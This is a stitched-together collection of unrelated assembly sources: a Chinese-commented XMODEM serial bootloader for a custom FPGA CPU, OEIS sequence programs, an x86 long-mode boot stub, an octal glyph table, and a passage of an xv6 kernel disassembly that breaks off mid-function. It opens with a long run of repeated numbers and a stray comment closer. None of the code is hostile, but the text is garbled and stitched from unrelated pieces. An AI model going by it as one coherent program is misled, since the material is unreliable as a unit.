36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
;;; 程序加载器
;;; 1、编译 azprasm loader.asm -o loader.bin --coe loader.coe
;;; 2、手工将Xilinx FPGA的coe文件转换为Altera FPGA的mif格式作为ROM初始化数据文件 loader16.mif
;;; 3、开发板综合时,将loader16.mif作为ROM的初始化数据文件
;;; 符号定义
UART_BASE_ADDR_H EQU 0x6000 ;UART Base Address High
UART_STATUS_OFFSET EQU 0x0 ;UART Status Register Offset
UART_DATA_OFFSET EQU 0x4 ;UART Data Register Offset
UART_RX_INTR_MASK EQU 0x1 ;UART Receive Interrupt
UART_TX_INTR_MASK EQU 0x2 ;UART Receive Interrupt
GPIO_BASE_ADDR_H EQU 0x8000 ;GPIO Base Address High
GPIO_IN_OFFSET EQU 0x0 ;GPIO Input Port Register Offset
GPIO_OUT_OFFSET EQU 0x4 ;GPIO Output Port Register Offset
SPM_BASE_ADDR_H EQU 0x2000 ;SPM Base Address High
XMODEM_SOH EQU 0x1 ;Start Of Heading
XMODEM_EOT EQU 0x4 ;End Of Transmission
XMODEM_ACK EQU 0x6 ;ACKnowlege
XMODEM_NAK EQU 0x15 ;Negative AcKnowlege
XMODEM_DATA_SIZE EQU 128
XORR r0,r0,r0
;;;保存 CLEAR_BUFFER 子程序地址到 r1
ORI r0,r1,high(CLEAR_BUFFER) ;
SHLLI r1,r1,16
ORI r1,r1,low(CLEAR_BUFFER) ;
;;;保存 SEND_BYTE 子程序地址到 r2
ORI r0,r2,high(SEND_BYTE) ;
SHLLI r2,r2,16
ORI r2,r2,low(SEND_BYTE) ;
;;;保存 RECV_BYTE 子程序地址到 r3
ORI r0,r3,high(RECV_BYTE) ;
SHLLI r3,r3,16
ORI r3,r3,low(RECV_BYTE) ;
;;;保存 WAIT_PUSH_SW 子程序地址到 r4
ORI r0,r4,high(WAIT_PUSH_SW) ;
SHLLI r4,r4,16
ORI r4,r4,low(WAIT_PUSH_SW) ;
;;; 清空UART缓存
CALL r1 ;调用 CLEAR_BUFFER
ANDR r0,r0,r0 ;NOP
;;; 点亮所有LED
ORI r0,r20,GPIO_BASE_ADDR_H ;GPIO Base Address赋给r20
SHLLI r20,r20,16 ;r20左移16位
ORI r0,r21,0x2 ;
SHLLI r21,r21,16 ;r21左移16位,即高位置为0x2
ORI r21,r21,0xFFFF ;r21低位置为0xFFFF
STW r20,r21,GPIO_OUT_OFFSET ;将r21写入GPIO Output Port
;; 等待任按一键
CALL r4
ANDR r0, r0, r0
;; 发送NAK
ORI r0,r16,XMODEM_NAK ;将r16设为NAK
CALL r2 ;SEND_BYTE
ANDR r0,r0,r0 ;NOP
XORR r5,r5,r5
;; 接收数据块的头信息
;; 等待接收
RECV_HEADER:
CALL r3 ;RECV_BYTE
ANDR r0,r0,r0 ;NOP
;; 接收数据
ORI r0,r6,XMODEM_SOH ;将r6设为SOH
BE r16,r6,RECV_SOH
ANDR r0,r0,r0 ;NOP
;; EOT
;; 发送ACK
ORI r0,r16,XMODEM_ACK ;将r16设为ACK
CALL r2 ;SEND_BYTE
ANDR r0,r0,r0 ;NOP
;; jump to spm
ORI r0,r6,SPM_BASE_ADDR_H ;将SPM Base Address高16位置入r6
SHLLI r6,r6,16
JMP r6 ;执行SPM中的程序
ANDR r0,r0,r0 ;NOP
;; SOH
RECV_SOH:
;; 接收BN
CALL r3 ;RECV_BYTE
ANDR r0,r0,r0 ;NOP
ORR r0,r16,r7 ;将r7设为收到的BN
;; 接收BNC
CALL r3 ;RECV_BYTE
ANDR r0,r0,r0 ;NOP
ORR r0,r16,r8 ;将r8设为收到的BNC
ORI r0,r9,XMODEM_DATA_SIZE
XORR r10,r10,r10 ;清除r10
XORR r11,r11,r11 ;清除r11
;; 接收一块数据
; byte0
READ_BYTE0:
CALL r3 ;RECV_BYTE
ANDR r0,r0,r0 ;NOP
ADDUR r11,r16,r11
SHLLI r16,r16,24 ;左移24bit
ORR r0,r16,r12
; byte1
CALL r3 ;RECV_BYTE
ANDR r0,r0,r0 ;NOP
ADDUR r11,r16,r11
SHLLI r16,r16,16 ;左移16bit
ORR r12,r16,r12
; byte2
CALL r3 ;RECV_BYTE
ORR r0,r0,r0 ;NOP
ADDUR r11,r16,r11
SHLLI r16,r16,8 ;左移8bit
ORR r12,r16,r12
; byte3
CALL r3 ;RECV_BYTE
ORR r0,r0,r0 ;NOP
ADDUR r11,r16,r11
ORR r12,r16,r12
; write memory
ORI r0,r13,SPM_BASE_ADDR_H ;SPM Base Address存入r13的高16位
SHLLI r13,r13,16
SHLLI r5,r14,7
ADDUR r14,r10,r14
ADDUR r14,r13,r13
STW r13,r12,0
ADDUI r10,r10,4
BNE r10,r9,READ_BYTE0
ANDR r0,r0,r0 ;NOP
;; 接收CS
CALL r3 ;RECV_BYTE
ANDR r0,r0,r0 ;NOP
ORR r0,r16,r12
;; Error Check
ADDUR r7,r8,r7
ORI r0,r13,0xFF ;将r13置为0xFF
BNE r7,r13,SEND_NAK ;如果BN+BNC不等于xFF则发送NAK
ANDR r0,r0,r0 ;NOP
ANDI r11,r11,0xFF ;将r11置为0xFF
BNE r12,r11,SEND_NAK ;判断check sum是否正确
ANDR r0,r0,r0 ;NOP
;; 发送ACK
SEND_ACK:
ORI r0,r16,XMODEM_ACK ;将r16置为ACK
CALL r2 ;SEND_BYTE
ANDR r0,r0,r0 ;NOP
ADDUI r5,r5,1
BNE r0,r0,RETURN_RECV_HEADER
ANDR r0,r0,r0 ;NOP
;; 发送NAK
SEND_NAK:
ORI r0,r16,XMODEM_NAK ;将r16置为NAK
CALL r2 ;SEND_BYTE
ANDR r0,r0,r0 ;NOP
;; 返回RECV_HEADER
RETURN_RECV_HEADER:
BE r0,r0,RECV_HEADER
ANDR r0,r0,r0 ;NOP
;;;清除缓存子程序
CLEAR_BUFFER:
ORI r0,r16,UART_BASE_ADDR_H ;UART Base Address高16置入r16
SHLLI r16,r16,16
_CHECK_UART_STATUS:
LDW r16,r17,UART_STATUS_OFFSET ;获取STATUS
ANDI r17,r17,UART_RX_INTR_MASK
BE r0,r17,_CLEAR_BUFFER_RETURN ;如果接收中断位为0,则跳转到_CLEAR_BUFFER_RETURN
ANDR r0,r0,r0 ;NOP
_READ_DATA:
LDW r16,r17,UART_DATA_OFFSET ;清除缓存区读到的数据
LDW r16,r17,UART_STATUS_OFFSET ;获取STATUS
XORI r17,r17,UART_RX_INTR_MASK
STW r6,r17,UART_STATUS_OFFSET ;Receive Interrupt bit清除
BNE r0,r0,_CHECK_UART_STATUS ;返回 _CHECK_UART_STATUS
ANDR r0,r0,r0 ;NOP
_CLEAR_BUFFER_RETURN:
JMP r31 ;返回到调用者
ANDR r0,r0,r0 ;NOP
;;;发送子程序
SEND_BYTE:
ORI r0,r17,UART_BASE_ADDR_H ;UART Base Address高16位置入r17
SHLLI r17,r17,16
STW r17,r16,UART_DATA_OFFSET ;发送r16
_WAIT_SEND_DONE:
LDW r17,r18,UART_STATUS_OFFSET ;获取STATUS
ANDI r18,r18,UART_TX_INTR_MASK
BE r0,r18,_WAIT_SEND_DONE ;如果发送中断位为0,则跳转到_WAIT_SEND_DONE
ANDR r0,r0,r0 ;NOP
LDW r17,r18,UART_STATUS_OFFSET ;获取STATUS
XORI r18,r18,UART_TX_INTR_MASK
STW r17,r18,UART_STATUS_OFFSET ;Transmit Interrupt bit清除
JMP r31 ;返回到子程序调用点
ANDR r0,r0,r0 ;NOP
;;;接收子程序
RECV_BYTE:
ORI r0,r17,UART_BASE_ADDR_H ;UART Base Address高16位置入r17
SHLLI r17,r17,16
LDW r17,r18,UART_STATUS_OFFSET ;获取STATUS到r18
ANDI r18,r18,UART_RX_INTR_MASK
BE r0,r18,RECV_BYTE ;如果接收中断位为0,则跳转到RECV_BYTE
ANDR r0,r0,r0 ;NOP
LDW r17,r16,UART_DATA_OFFSET ;读取接收到的数据
LDW r17,r18,UART_STATUS_OFFSET ;获取STATUS
XORI r18,r18,UART_RX_INTR_MASK
STW r17,r18,UART_STATUS_OFFSET ;清除Receive Interrupt bit
JMP r31 ;返回到子程序调用点
ANDR r0,r0,r0 ;NOP
;;;等待按一键子程序
WAIT_PUSH_SW:
ORI r0,r16,GPIO_BASE_ADDR_H
SHLLI r16,r16,16
_WAIT_PUSH_SW_ON:
LDW r16,r17,GPIO_IN_OFFSET
BE r0,r17,_WAIT_PUSH_SW_ON
ANDR r0,r0,r0 ;NOP
_WAIT_PUSH_SW_OFF:
LDW r16,r17,GPIO_IN_OFFSET
BNE r0,r17,_WAIT_PUSH_SW_OFF
ANDR r0,r0,r0 ;NOP
_WAIT_PUSH_SW_RETURN:
JMP r31
ANDR r0,r0,r0 ;NOP
|
; A006414: Number of nonseparable toroidal tree-rooted maps with n + 2 edges and n + 1 vertices.
; 1,9,40,125,315,686,1344,2430,4125,6655,10296,15379,22295,31500,43520,58956,78489,102885,133000,169785,214291,267674,331200,406250,494325,597051,716184,853615,1011375,1191640,1396736,1629144,1891505,2186625,2517480,2887221,3299179,3756870,4264000,4824470,5442381,6122039,6867960,7684875,8577735,9551716,10612224,11764900,13015625,14370525,15835976,17418609,19125315,20963250,22939840,25062786,27340069,29779955,32391000,35182055,38162271,41341104,44728320,48334000,52168545,56242681,60567464,65154285
add $0,2
mov $2,$0
pow $0,2
bin $0,2
mul $0,$2
div $0,12
|
; "main.asm" file by CodePulse, modified by GamePlayer
global start
extern long_mode_start
section .text
bits 32
start:
mov esp, stack_top
call check_multiboot
call check_cpuid
call check_long_mode
call setup_page_tables
call enable_paging
lgdt [gdt64.pointer]
jmp gdt64.code_segment:long_mode_start
hlt
check_multiboot:
cmp eax, 0x36d76289
jne .no_multiboot
ret
.no_multiboot:
mov al, 'M'
mov dword [0xb8000], 0x4f524f45
mov dword [0xb8004], 0x4f3a4f52
mov dword [0xb8008], 0x4f204f20
mov byte [0xb800a], al
mov al, 'B'
mov byte [0xb800c], al
hlt
check_cpuid:
pushfd
pop eax
mov ecx, eax
xor eax, 1 << 21
push eax
popfd
pushfd
pop eax
push ecx
popfd
cmp eax, ecx
je .no_cpuid
ret
.no_cpuid:
mov al, 'I'
mov dword [0xb8000], 0x4f524f45
mov dword [0xb8004], 0x4f3a4f52
mov dword [0xb8008], 0x4f204f20
mov byte [0xb800a], al
mov al, 'D'
mov byte [0xb800c], al
hlt
check_long_mode:
mov eax, 0x80000000
cpuid
cmp eax, 0x80000001
jb .no_long_mode
mov eax, 0x80000001
cpuid
test edx, 1 << 29
jz .no_long_mode
ret
.no_long_mode:
mov al, 'L'
mov dword [0xb8000], 0x4f524f45
mov dword [0xb8004], 0x4f3a4f52
mov dword [0xb8008], 0x4f204f20
mov byte [0xb800a], al
mov al, 'N'
mov byte [0xb800c], al
hlt
setup_page_tables:
mov eax, page_table_l3
or eax, 0b11 ; present, writable
mov [page_table_l4], eax
mov eax, page_table_l2
or eax, 0b11 ; present, writable
mov [page_table_l3], eax
mov ecx, 0 ; counter
.loop:
mov eax, 0x200000 ; 2MiB
mul ecx
or eax, 0b10000011 ; present, writable, huge page
mov [page_table_l2 + ecx * 8], eax
inc ecx ; increment counter
cmp ecx, 512 ; checks if the whole table is mapped
jne .loop ; if not, continue
ret
enable_paging:
; pass page table location to cpu
mov eax, page_table_l4
mov cr3, eax
; enable PAE
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
; enable long mode
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr
; enable paging
mov eax, cr0
or eax, 1 << 31
mov cr0, eax
ret
section .bss
align 4096
page_table_l4:
resb 4096
page_table_l3:
resb 4096
page_table_l2:
resb 4096
stack_bottom:
resb 4096 * 4
stack_top:
section .rodata
gdt64:
dq 0 ; zero entry
.code_segment: equ $ - gdt64
dq (1 << 43) | (1 << 44) | (1 << 47) | (1 << 53) ; code segment
.pointer:
dw $ - gdt64 - 1 ; length
dq gdt64 ; address
|
dw 0100000o
dw 0122202o
dw 0155000o
dw 0157575o
dw 0127172o
dw 0154215o
dw 0125356o
dw 0122000o
dw 0142224o
dw 0112221o
dw 0152725o
dw 0122722o
dw 0100021o
dw 0100700o
dw 0100020o
dw 0144211o
dw 0175557o
dw 0123227o
dw 0174717o
dw 0174747o
dw 0155744o
dw 0171747o
dw 0171757o
dw 0174444o
dw 0175757o
dw 0175747o
dw 0102020o
dw 0102021o
dw 0142124o
dw 0107070o
dw 0112421o
dw 0174602o
dw 0125517o
dw 0175755o
dw 0175357o
dw 0171117o
dw 0135553o
dw 0171717o
dw 0171711o
dw 0171557o
dw 0155755o
dw 0172227o
dw 0174457o
dw 0155355o
dw 0111117o
dw 0157755o
dw 0175555o
dw 0175557o
dw 0175711o
dw 0175744o
dw 0175735o
dw 0171747o
dw 0172222o
dw 0155557o
dw 0155552o
dw 0155775o
dw 0155255o
dw 0155222o
dw 0174217o
dw 0171117o
dw 0111244o
dw 0174447o
dw 0127222o
dw 0100007o
|
; A269786: Primes p such that 2*p + 31 is a square.
; Submitted by Christian Krause
; 97,349,997,1609,2797,3769,6829,7549,10789,11689,13597,15649,16729,22669,28069,32497,40597,44089,49597,59497,63709,70297,74869,86929,89449,94597,113749,122497,128509,144169,147409,153997,164149,181789,196549,200329,207997
mov $1,9
mov $2,332202
lpb $2
mov $3,$6
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,4
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
sub $5,5
add $5,$1
mov $6,$5
add $5,4
lpe
mov $0,$5
sub $0,3
|
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 .byte 0xe4
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 90 10 00 mov $0x109000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 15 2b 10 80 mov $0x80102b15,%eax
jmp *%eax
80100032: ff e0 jmp *%eax
80100034 <bget>:
// Look through buffer cache for block on device dev.
// If not found, allocate a buffer.
// In either case, return locked buffer.
static struct buf*
bget(uint dev, uint blockno)
{
80100034: 55 push %ebp
80100035: 89 e5 mov %esp,%ebp
80100037: 57 push %edi
80100038: 56 push %esi
80100039: 53 push %ebx
8010003a: 83 ec 18 sub $0x18,%esp
8010003d: 89 c6 mov %eax,%esi
8010003f: 89 d7 mov %edx,%edi
struct buf *b;
acquire(&bcache.lock);
80100041: 68 c0 b5 10 80 push $0x8010b5c0
80100046: e8 ce 3e 00 00 call 80103f19 <acquire>
// Is the block already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
8010004b: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx
80100051: 83 c4 10 add $0x10,%esp
80100054: eb 03 jmp 80100059 <bget+0x25>
80100056: 8b 5b 54 mov 0x54(%ebx),%ebx
80100059: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
8010005f: 74 30 je 80100091 <bget+0x5d>
if(b->dev == dev && b->blockno == blockno){
80100061: 39 73 04 cmp %esi,0x4(%ebx)
80100064: 75 f0 jne 80100056 <bget+0x22>
80100066: 39 7b 08 cmp %edi,0x8(%ebx)
80100069: 75 eb jne 80100056 <bget+0x22>
b->refcnt++;
8010006b: 8b 43 4c mov 0x4c(%ebx),%eax
8010006e: 83 c0 01 add $0x1,%eax
80100071: 89 43 4c mov %eax,0x4c(%ebx)
release(&bcache.lock);
80100074: 83 ec 0c sub $0xc,%esp
80100077: 68 c0 b5 10 80 push $0x8010b5c0
8010007c: e8 01 3f 00 00 call 80103f82 <release>
acquiresleep(&b->lock);
80100081: 8d 43 0c lea 0xc(%ebx),%eax
80100084: 89 04 24 mov %eax,(%esp)
80100087: e8 59 3c 00 00 call 80103ce5 <acquiresleep>
return b;
8010008c: 83 c4 10 add $0x10,%esp
8010008f: eb 4c jmp 801000dd <bget+0xa9>
}
// Not cached; recycle an unused buffer.
// Even if refcnt==0, B_DIRTY indicates a buffer is in use
// because log.c has modified it but not yet committed it.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100091: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx
80100097: eb 03 jmp 8010009c <bget+0x68>
80100099: 8b 5b 50 mov 0x50(%ebx),%ebx
8010009c: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
801000a2: 74 43 je 801000e7 <bget+0xb3>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
801000a4: 83 7b 4c 00 cmpl $0x0,0x4c(%ebx)
801000a8: 75 ef jne 80100099 <bget+0x65>
801000aa: f6 03 04 testb $0x4,(%ebx)
801000ad: 75 ea jne 80100099 <bget+0x65>
b->dev = dev;
801000af: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
801000b2: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
801000b5: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
801000bb: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
801000c2: 83 ec 0c sub $0xc,%esp
801000c5: 68 c0 b5 10 80 push $0x8010b5c0
801000ca: e8 b3 3e 00 00 call 80103f82 <release>
acquiresleep(&b->lock);
801000cf: 8d 43 0c lea 0xc(%ebx),%eax
801000d2: 89 04 24 mov %eax,(%esp)
801000d5: e8 0b 3c 00 00 call 80103ce5 <acquiresleep>
return b;
801000da: 83 c4 10 add $0x10,%esp
}
}
panic("bget: no buffers");
}
801000dd: 89 d8 mov %ebx,%eax
801000df: 8d 65 f4 lea -0xc(%ebp),%esp
801000e2: 5b pop %ebx
801000e3: 5e pop %esi
801000e4: 5f pop %edi
801000e5: 5d pop %ebp
801000e6: c3 ret
panic("bget: no buffers");
801000e7: 83 ec 0c sub $0xc,%esp
801000ea: 68 00 69 10 80 push $0x80106900
801000ef: e8 68 02 00 00 call 8010035c <panic>
801000f4 <binit>:
{
801000f4: f3 0f 1e fb endbr32
801000f8: 55 push %ebp
801000f9: 89 e5 mov %esp,%ebp
801000fb: 53 push %ebx
801000fc: 83 ec 0c sub $0xc,%esp
initlock(&bcache.lock, "bcache");
801000ff: 68 11 69 10 80 push $0x80106911
80100104: 68 c0 b5 10 80 push $0x8010b5c0
80100109: e8 bb 3c 00 00 call 80103dc9 <initlock>
bcache.head.prev = &bcache.head;
8010010e: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c
80100115: fc 10 80
bcache.head.next = &bcache.head;
80100118: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10
8010011f: fc 10 80
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100122: 83 c4 10 add $0x10,%esp
80100125: bb f4 b5 10 80 mov $0x8010b5f4,%ebx
8010012a: eb 37 jmp 80100163 <binit+0x6f>
b->next = bcache.head.next;
8010012c: a1 10 fd 10 80 mov 0x8010fd10,%eax
80100131: 89 43 54 mov %eax,0x54(%ebx)
b->prev = &bcache.head;
80100134: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
8010013b: 83 ec 08 sub $0x8,%esp
8010013e: 68 18 69 10 80 push $0x80106918
80100143: 8d 43 0c lea 0xc(%ebx),%eax
80100146: 50 push %eax
80100147: e8 62 3b 00 00 call 80103cae <initsleeplock>
bcache.head.next->prev = b;
8010014c: a1 10 fd 10 80 mov 0x8010fd10,%eax
80100151: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
80100154: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
8010015a: 81 c3 5c 02 00 00 add $0x25c,%ebx
80100160: 83 c4 10 add $0x10,%esp
80100163: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100169: 72 c1 jb 8010012c <binit+0x38>
}
8010016b: 8b 5d fc mov -0x4(%ebp),%ebx
8010016e: c9 leave
8010016f: c3 ret
80100170 <bread>:
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
80100170: f3 0f 1e fb endbr32
80100174: 55 push %ebp
80100175: 89 e5 mov %esp,%ebp
80100177: 53 push %ebx
80100178: 83 ec 04 sub $0x4,%esp
struct buf *b;
b = bget(dev, blockno);
8010017b: 8b 55 0c mov 0xc(%ebp),%edx
8010017e: 8b 45 08 mov 0x8(%ebp),%eax
80100181: e8 ae fe ff ff call 80100034 <bget>
80100186: 89 c3 mov %eax,%ebx
if((b->flags & B_VALID) == 0) {
80100188: f6 00 02 testb $0x2,(%eax)
8010018b: 74 07 je 80100194 <bread+0x24>
iderw(b);
}
return b;
}
8010018d: 89 d8 mov %ebx,%eax
8010018f: 8b 5d fc mov -0x4(%ebp),%ebx
80100192: c9 leave
80100193: c3 ret
iderw(b);
80100194: 83 ec 0c sub $0xc,%esp
80100197: 50 push %eax
80100198: e8 ec 1c 00 00 call 80101e89 <iderw>
8010019d: 83 c4 10 add $0x10,%esp
return b;
801001a0: eb eb jmp 8010018d <bread+0x1d>
801001a2 <bwrite>:
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a2: f3 0f 1e fb endbr32
801001a6: 55 push %ebp
801001a7: 89 e5 mov %esp,%ebp
801001a9: 53 push %ebx
801001aa: 83 ec 10 sub $0x10,%esp
801001ad: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001b0: 8d 43 0c lea 0xc(%ebx),%eax
801001b3: 50 push %eax
801001b4: e8 be 3b 00 00 call 80103d77 <holdingsleep>
801001b9: 83 c4 10 add $0x10,%esp
801001bc: 85 c0 test %eax,%eax
801001be: 74 14 je 801001d4 <bwrite+0x32>
panic("bwrite");
b->flags |= B_DIRTY;
801001c0: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
801001c3: 83 ec 0c sub $0xc,%esp
801001c6: 53 push %ebx
801001c7: e8 bd 1c 00 00 call 80101e89 <iderw>
}
801001cc: 83 c4 10 add $0x10,%esp
801001cf: 8b 5d fc mov -0x4(%ebp),%ebx
801001d2: c9 leave
801001d3: c3 ret
panic("bwrite");
801001d4: 83 ec 0c sub $0xc,%esp
801001d7: 68 1f 69 10 80 push $0x8010691f
801001dc: e8 7b 01 00 00 call 8010035c <panic>
801001e1 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e1: f3 0f 1e fb endbr32
801001e5: 55 push %ebp
801001e6: 89 e5 mov %esp,%ebp
801001e8: 56 push %esi
801001e9: 53 push %ebx
801001ea: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001ed: 8d 73 0c lea 0xc(%ebx),%esi
801001f0: 83 ec 0c sub $0xc,%esp
801001f3: 56 push %esi
801001f4: e8 7e 3b 00 00 call 80103d77 <holdingsleep>
801001f9: 83 c4 10 add $0x10,%esp
801001fc: 85 c0 test %eax,%eax
801001fe: 74 6b je 8010026b <brelse+0x8a>
panic("brelse");
releasesleep(&b->lock);
80100200: 83 ec 0c sub $0xc,%esp
80100203: 56 push %esi
80100204: e8 2f 3b 00 00 call 80103d38 <releasesleep>
acquire(&bcache.lock);
80100209: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100210: e8 04 3d 00 00 call 80103f19 <acquire>
b->refcnt--;
80100215: 8b 43 4c mov 0x4c(%ebx),%eax
80100218: 83 e8 01 sub $0x1,%eax
8010021b: 89 43 4c mov %eax,0x4c(%ebx)
if (b->refcnt == 0) {
8010021e: 83 c4 10 add $0x10,%esp
80100221: 85 c0 test %eax,%eax
80100223: 75 2f jne 80100254 <brelse+0x73>
// no one is waiting for it.
b->next->prev = b->prev;
80100225: 8b 43 54 mov 0x54(%ebx),%eax
80100228: 8b 53 50 mov 0x50(%ebx),%edx
8010022b: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
8010022e: 8b 43 50 mov 0x50(%ebx),%eax
80100231: 8b 53 54 mov 0x54(%ebx),%edx
80100234: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
80100237: a1 10 fd 10 80 mov 0x8010fd10,%eax
8010023c: 89 43 54 mov %eax,0x54(%ebx)
b->prev = &bcache.head;
8010023f: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
bcache.head.next->prev = b;
80100246: a1 10 fd 10 80 mov 0x8010fd10,%eax
8010024b: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
8010024e: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
}
release(&bcache.lock);
80100254: 83 ec 0c sub $0xc,%esp
80100257: 68 c0 b5 10 80 push $0x8010b5c0
8010025c: e8 21 3d 00 00 call 80103f82 <release>
}
80100261: 83 c4 10 add $0x10,%esp
80100264: 8d 65 f8 lea -0x8(%ebp),%esp
80100267: 5b pop %ebx
80100268: 5e pop %esi
80100269: 5d pop %ebp
8010026a: c3 ret
panic("brelse");
8010026b: 83 ec 0c sub $0xc,%esp
8010026e: 68 26 69 10 80 push $0x80106926
80100273: e8 e4 00 00 00 call 8010035c <panic>
80100278 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100278: f3 0f 1e fb endbr32
8010027c: 55 push %ebp
8010027d: 89 e5 mov %esp,%ebp
8010027f: 57 push %edi
80100280: 56 push %esi
80100281: 53 push %ebx
80100282: 83 ec 28 sub $0x28,%esp
80100285: 8b 7d 08 mov 0x8(%ebp),%edi
80100288: 8b 75 0c mov 0xc(%ebp),%esi
8010028b: 8b 5d 10 mov 0x10(%ebp),%ebx
uint target;
int c;
iunlock(ip);
8010028e: 57 push %edi
8010028f: e8 fc 13 00 00 call 80101690 <iunlock>
target = n;
80100294: 89 5d e4 mov %ebx,-0x1c(%ebp)
acquire(&cons.lock);
80100297: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
